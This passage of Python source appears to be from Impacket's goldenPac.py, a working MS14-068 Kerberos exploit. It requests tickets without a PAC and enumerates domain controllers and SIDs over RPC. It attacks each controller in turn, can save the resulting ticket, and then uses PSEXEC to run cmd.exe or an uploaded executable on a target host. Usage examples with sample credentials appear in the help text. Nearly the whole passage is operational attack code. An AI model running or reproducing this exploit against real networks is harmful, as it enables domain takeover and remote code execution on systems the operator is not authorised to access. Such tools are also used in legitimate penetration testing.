   764          tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
   765          tgsReq['padata'][0]['padata-value'] = encodedApReq
   766  
   767          pacRequest = KERB_PA_PAC_REQUEST()
   768          pacRequest['include-pac'] = False
   769          encodedPacRequest = encoder.encode(pacRequest)
   770  
   771          tgsReq['padata'][1] = noValue
   772          tgsReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value)
   773          tgsReq['padata'][1]['padata-value'] = encodedPacRequest
   774  
   775          message = encoder.encode(tgsReq)
   776  
   777          r = sendReceive(message, domain, kdcHost)
   778  
   779          # Get the session key
   780          tgs = decoder.decode(r, asn1Spec = TGS_REP())[0]
   781          cipherText = tgs['enc-part']['cipher']
   782  
   783          # Key Usage 8
   784          # TGS-REP encrypted part (includes application session
   785          # key), encrypted with the TGS session key (Section 5.4.2)
   786          plainText = cipher.decrypt(sessionKey, 8, cipherText)
   787  
   788          encTGSRepPart = decoder.decode(plainText, asn1Spec = EncTGSRepPart())[0]
   789  
   790          newSessionKey = Key(cipher.enctype, encTGSRepPart['key']['keyvalue'].asOctets())
   791      
   792          return r, cipher, sessionKey, newSessionKey
   793  
   794      def getForestSid(self):
   795          logging.debug('Calling NRPC DsrGetDcNameEx()')
   796  
   797          stringBinding = r'ncacn_np:%s[\pipe\netlogon]' % self.__kdcHost
   798  
   799          rpctransport = transport.DCERPCTransportFactory(stringBinding)
   800  
   801          if hasattr(rpctransport, 'set_credentials'):
   802              rpctransport.set_credentials(self.__username,self.__password, self.__domain, self.__lmhash, self.__nthash)
   803  
   804          dce = rpctransport.get_dce_rpc()
   805          dce.connect()
   806          dce.bind(MSRPC_UUID_NRPC)
   807  
   808          resp = hDsrGetDcNameEx(dce, NULL, NULL, NULL, NULL, 0)
   809          forestName = resp['DomainControllerInfo']['DnsForestName'][:-1]
   810          logging.debug('DNS Forest name is %s' % forestName)
   811          dce.disconnect()
   812  
   813          logging.debug('Calling LSAT hLsarQueryInformationPolicy2()')
   814  
   815          stringBinding = r'ncacn_np:%s[\pipe\lsarpc]' % forestName
   816  
   817          rpctransport = transport.DCERPCTransportFactory(stringBinding)
   818  
   819          if hasattr(rpctransport, 'set_credentials'):
   820              rpctransport.set_credentials(self.__username,self.__password, self.__domain, self.__lmhash, self.__nthash)
   821  
   822          dce = rpctransport.get_dce_rpc()
   823          dce.connect()
   824          dce.bind(MSRPC_UUID_LSAT)
   825  
   826          resp = hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | POLICY_LOOKUP_NAMES)
   827          policyHandle = resp['PolicyHandle']
   828  
   829          resp = hLsarQueryInformationPolicy2(dce, policyHandle, POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation)
   830          dce.disconnect()
   831  
   832          forestSid = resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainSid'].formatCanonical()
   833          logging.info("Forest SID: %s"% forestSid)
   834  
   835          return forestSid
   836  
   837      def getDomainControllers(self):
   838          logging.debug('Calling DRSDomainControllerInfo()')
   839  
   840          stringBinding = epm.hept_map(self.__domain, MSRPC_UUID_DRSUAPI, protocol = 'ncacn_ip_tcp')
   841  
   842          rpctransport = transport.DCERPCTransportFactory(stringBinding)
   843  
   844          if hasattr(rpctransport, 'set_credentials'):
   845              rpctransport.set_credentials(self.__username,self.__password, self.__domain, self.__lmhash, self.__nthash)
   846  
   847          dce = rpctransport.get_dce_rpc()
   848          dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY)
   849          dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
   850          dce.connect()
   851          dce.bind(MSRPC_UUID_DRSUAPI)
   852  
   853          request = DRSBind()
   854          request['puuidClientDsa'] = NTDSAPI_CLIENT_GUID
   855          drs = DRS_EXTENSIONS_INT()
   856          drs['cb'] = len(drs) #- 4
   857          drs['dwFlags'] = DRS_EXT_GETCHGREQ_V6 | DRS_EXT_GETCHGREPLY_V6 | DRS_EXT_GETCHGREQ_V8 | DRS_EXT_STRONG_ENCRYPTION
   858          drs['SiteObjGuid'] = NULLGUID
   859          drs['Pid'] = 0
   860          drs['dwReplEpoch'] = 0
   861          drs['dwFlagsExt'] = 0
   862          drs['ConfigObjGUID'] = NULLGUID
   863          drs['dwExtCaps'] = 127
   864          request['pextClient']['cb'] = len(drs.getData())
   865          request['pextClient']['rgb'] = list(drs.getData())
   866          resp = dce.request(request)
   867  
   868          dcs = hDRSDomainControllerInfo(dce,  resp['phDrs'], self.__domain, 1)
   869  
   870          dce.disconnect()
   871          domainControllers = list()
   872          for dc in dcs['pmsgOut']['V1']['rItems']:
   873              logging.debug('Found domain controller %s' % dc['DnsHostName'][:-1])
   874              domainControllers.append(dc['DnsHostName'][:-1])
   875  
   876          return domainControllers
   877  
   878      def getUserSID(self):
   879          stringBinding = r'ncacn_np:%s[\pipe\samr]' % self.__kdcHost
   880  
   881          rpctransport = transport.DCERPCTransportFactory(stringBinding)
   882  
   883          if hasattr(rpctransport, 'set_credentials'):
   884              rpctransport.set_credentials(self.__username,self.__password, self.__domain, self.__lmhash, self.__nthash)
   885  
   886          dce = rpctransport.get_dce_rpc()
   887          dce.connect()
   888          dce.bind(samr.MSRPC_UUID_SAMR)
   889          resp = samr.hSamrConnect(dce)
   890          serverHandle = resp['ServerHandle']
   891          resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle, self.__domain)
   892          domainId = resp['DomainId']
   893          resp = samr.hSamrOpenDomain(dce, serverHandle, domainId = domainId)
   894          domainHandle = resp['DomainHandle']
   895          resp = samr.hSamrLookupNamesInDomain(dce, domainHandle, (self.__username,))
   896          # Let's pick the relative ID
   897          rid = resp['RelativeIds']['Element'][0]['Data']
   898          logging.info("User SID: %s-%s"% (domainId.formatCanonical(), rid))
   899          return domainId, rid
   900  
   901      def exploit(self):
   902          if self.__kdcHost is None:
   903              getDCs = True
   904              self.__kdcHost = self.__domain
   905          else:
   906              getDCs = False
   907  
   908          self.__domainSid, self.__rid = self.getUserSID()
   909          try:
   910              self.__forestSid = self.getForestSid()
   911          except Exception as e:
   912              # For some reason we couldn't get the forest data. No problem, we can still continue
   913              # Only drawback is we won't get forest admin if successful
   914              logging.error('Couldn\'t get forest info (%s), continuing' % str(e))
   915              self.__forestSid = None
   916  
   917          if getDCs is False:
   918              # User specified a DC already, no need to get the list
   919              self.__domainControllers.append(self.__kdcHost)
   920          else:
   921              self.__domainControllers = self.getDomainControllers()
   922  
   923          userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
   924          for dc in self.__domainControllers:
   925              logging.info('Attacking domain controller %s' % dc)
   926              self.__kdcHost = dc
   927              exception = None
   928              while True:
   929                  try:
   930                      tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
   931                                                                              self.__lmhash, self.__nthash, None,
   932                                                                              self.__kdcHost, requestPAC=False)
   933                  except KerberosError as e:
   934                      if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
   935                          # We might face this if the target does not support AES (most probably
   936                          # Windows XP). So, if that's the case we'll force using RC4 by converting
   937                          # the password to lm/nt hashes and hope for the best. If that's already
   938                          # done, byebye.
   939                          if self.__lmhash is '' and self.__nthash is '':
   940                              from impacket.ntlm import compute_lmhash, compute_nthash
   941                              self.__lmhash = compute_lmhash(self.__password)
   942                              self.__nthash = compute_nthash(self.__password)
   943                              continue
   944                          else:
   945                              exception = str(e)
   946                              break
   947                      else:
   948                          exception = str(e)
   949                          break
   950  
   951                  # So, we have the TGT, now extract the new session key and finish
   952                  asRep = decoder.decode(tgt, asn1Spec = AS_REP())[0]
   953  
   954                  # If the cypher in use != RC4 there's gotta be a salt for us to use
   955                  salt = ''
   956                  if asRep['padata']:
   957                      for pa in asRep['padata']:
   958                          if pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value:
   959                              etype2 = decoder.decode(pa['padata-value'][2:], asn1Spec = ETYPE_INFO2_ENTRY())[0]
   960                              salt = etype2['salt'].prettyPrint()
   961  
   962                  cipherText = asRep['enc-part']['cipher']
   963  
   964                  # Key Usage 3
   965                  # AS-REP encrypted part (includes TGS session key or
   966                  # application session key), encrypted with the client key
   967                  # (Section 5.4.2)
   968                  if self.__nthash != '':
   969                      key = Key(cipher.enctype,self.__nthash)
   970                  else:
   971                      key = cipher.string_to_key(self.__password, salt, None)
   972  
   973                  plainText = cipher.decrypt(key, 3, cipherText)
   974                  encASRepPart = decoder.decode(plainText, asn1Spec = EncASRepPart())[0]
   975                  authTime = encASRepPart['authtime']
   976  
   977                  serverName = Principal('krbtgt/%s' % self.__domain.upper(),
   978                                         type=constants.PrincipalNameType.NT_PRINCIPAL.value)
   979                  tgs, cipher, oldSessionKey, sessionKey = self.getKerberosTGS(serverName, domain, self.__kdcHost, tgt,
   980                                                                               cipher, sessionKey, authTime)
   981  
   982                  # We've done what we wanted, now let's call the regular getKerberosTGS to get a new ticket for cifs
   983                  serverName = Principal('cifs/%s' % self.__target, type=constants.PrincipalNameType.NT_SRV_INST.value)
   984                  try:
   985                      tgsCIFS, cipher, oldSessionKeyCIFS, sessionKeyCIFS = getKerberosTGS(serverName, domain,
   986                                                                                          self.__kdcHost, tgs, cipher,
   987                                                                                          sessionKey)
   988                  except KerberosError as e:
   989                      if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
   990                          # We might face this if the target does not support AES (most probably
   991                          # Windows XP). So, if that's the case we'll force using RC4 by converting
   992                          # the password to lm/nt hashes and hope for the best. If that's already
   993                          # done, byebye.
   994                          if self.__lmhash is '' and self.__nthash is '':
   995                              from impacket.ntlm import compute_lmhash, compute_nthash
   996                              self.__lmhash = compute_lmhash(self.__password)
   997                              self.__nthash = compute_nthash(self.__password)
   998                          else:
   999                              exception = str(e)
  1000                              break
  1001                      else:
  1002                          exception = str(e)
  1003                          break
  1004                  else:
  1005                      # Everything went well, let's save the ticket if asked and leave
  1006                      if self.__writeTGT is not None:
  1007                          from impacket.krb5.ccache import CCache
  1008                          ccache = CCache()
  1009                          ccache.fromTGS(tgs, oldSessionKey, sessionKey)
  1010                          ccache.saveFile(self.__writeTGT)
  1011                      break
  1012              if exception is None:
  1013                  # Success!
  1014                  logging.info('%s found vulnerable!' % dc)
  1015                  break
  1016              else:
  1017                  logging.info('%s seems not vulnerable (%s)' % (dc, exception))
  1018  
  1019          if exception is None:
  1020              TGS = {}
  1021              TGS['KDC_REP'] = tgsCIFS
  1022              TGS['cipher'] = cipher
  1023              TGS['oldSessionKey'] = oldSessionKeyCIFS
  1024              TGS['sessionKey'] = sessionKeyCIFS
  1025  
  1026              from impacket.smbconnection import SMBConnection
  1027              if self.__targetIp is None:
  1028                  s = SMBConnection('*SMBSERVER', self.__target)
  1029              else:
  1030                  s = SMBConnection('*SMBSERVER', self.__targetIp)
  1031              s.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, TGS=TGS,
  1032                              useCache=False)
  1033  
  1034              if self.__command != 'None':
  1035                  executer = PSEXEC(self.__command, username, domain, s, TGS, self.__copyFile)
  1036                  executer.run(self.__target)
  1037  
  1038  if __name__ == '__main__':
  1039      # Init the example's logger theme
  1040      logger.init()
  1041      import argparse
  1042      import sys
  1043      try:
  1044          import pyasn1
  1045          from pyasn1.type.univ import noValue
  1046      except ImportError:
  1047           logging.critical('This module needs pyasn1 installed')
  1048           logging.critical('You can get it from https://pypi.python.org/pypi/pyasn1')
  1049           sys.exit(1)
  1050      import datetime
  1051      from calendar import timegm
  1052      from time import strptime
  1053      from impacket import version
  1054      from impacket.dcerpc.v5 import samr
  1055      from impacket.dcerpc.v5 import transport
  1056      from impacket.krb5.types import Principal, Ticket, KerberosTime
  1057      from impacket.krb5 import constants
  1058      from impacket.krb5.kerberosv5 import sendReceive, getKerberosTGT, getKerberosTGS, KerberosError
  1059      from impacket.krb5.asn1 import AS_REP, TGS_REQ, AP_REQ, TGS_REP, Authenticator, EncASRepPart, AuthorizationData, \
  1060          AD_IF_RELEVANT, seq_set, seq_set_iter, KERB_PA_PAC_REQUEST, \
  1061          EncTGSRepPart, ETYPE_INFO2_ENTRY
  1062      from impacket.krb5.crypto import Key
  1063      from impacket.dcerpc.v5.ndr import NDRULONG
  1064      from impacket.dcerpc.v5.samr import NULL, GROUP_MEMBERSHIP, SE_GROUP_MANDATORY, SE_GROUP_ENABLED_BY_DEFAULT, \
  1065          SE_GROUP_ENABLED, USER_NORMAL_ACCOUNT, USER_DONT_EXPIRE_PASSWORD
  1066      from pyasn1.codec.der import decoder, encoder
  1067      from Cryptodome.Hash import MD5
  1068  
  1069      print(version.BANNER)
  1070  
  1071      parser = argparse.ArgumentParser(add_help=True,
  1072                                       description="MS14-068 Exploit. It establishes a SMBConnection and PSEXEcs the "
  1073                                                   "target or saves the TGT for later use.")
  1074  
  1075      parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName>')
  1076      parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
  1077      parser.add_argument('command', nargs='*', default=' ',
  1078                          help='command (or arguments if -c is used) to execute at the target (w/o path). Defaults to '
  1079                               'cmd.exe. \'None\' will not execute PSEXEC (handy if you just want to save the ticket)')
  1080      parser.add_argument('-c', action='store', metavar="pathname",
  1081                          help='uploads the filename for later execution, arguments are passed in the command option')
  1082      parser.add_argument('-w', action='store', metavar="pathname",
  1083                          help='writes the golden ticket in CCache format into the <pathname> file')
  1084      parser.add_argument('-dc-ip', action='store', metavar="ip address",
  1085                          help='IP Address of the domain controller (needed to get the user''s SID). If omitted it will use '
  1086                               'the domain part (FQDN) specified in the target parameter')
  1087      parser.add_argument('-target-ip', action='store', metavar="ip address",
  1088                          help='IP Address of the target host you want to attack. If omitted it will use the targetName '
  1089                               'parameter')
  1090  
  1091      group = parser.add_argument_group('authentication')
  1092  
  1093      group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
  1094      if len(sys.argv)==1:
  1095          parser.print_help()
  1096          print("\nExamples: ")
  1097          print("\tpython goldenPac domain.net/normaluser@domain-host\n")
  1098          print("\tthe password will be asked, or\n")
  1099          print("\tpython goldenPac.py domain.net/normaluser:mypwd@domain-host\n")
  1100          print("\tif domain.net and/or domain-machine do not resolve, add them")
  1101          print("\tto the hosts file or explicitly specify the domain IP (e.g. 1.1.1.1) and target IP:\n")
  1102          print("\tpython goldenPac.py -dc-ip 1.1.1.1 -target-ip 2.2.2.2 domain.net/normaluser:mypwd@domain-host\n")
  1103          print("\tThis will upload the xxx.exe file and execute it as: xxx.exe param1 param2 paramn")
  1104          print("\tpython goldenPac.py -c xxx.exe domain.net/normaluser:mypwd@domain-host param1 param2 paramn\n")
  1105          sys.exit(1)
  1106   
  1107      options = parser.parse_args()
  1108  
  1109      import re
  1110  
  1111      domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
  1112          options.target).groups('')
  1113  
  1114      #In case the password contains '@'
  1115      if '@' in address:
  1116          password = password + '@' + address.rpartition('@')[0]
  1117          address = address.rpartition('@')[2]
  1118  
  1119      if domain is '':
  1120          logging.critical('Domain should be specified!')
  1121          sys.exit(1)
  1122  
  1123      if options.debug is True:
  1124          logging.getLogger().setLevel(logging.DEBUG)
  1125      else:
  1126          logging.getLogger().setLevel(logging.INFO)
  1127  
  1128      if password == '' and username != '' and options.hashes is None:
  1129          from getpass import getpass
  1130          password = getpass("Password:")
  1131  
  1132      commands = ' '.join(options.command)
  1133      if commands == ' ':
  1134          commands = 'cmd.exe'
  1135  
  1136      dumper = MS14_068(address, options.target_ip, username, password, domain, options.hashes, commands, options.c,
  1137                        options.w, options.dc_ip)
  1138  
  1139      try:
  1140          dumper.exploit()
  1141      except Exception as e:
  1142          if logging.getLogger().level == logging.DEBUG:
  1143              import traceback
  1144              traceback.print_exc()
  1145          logging.critical(str(e))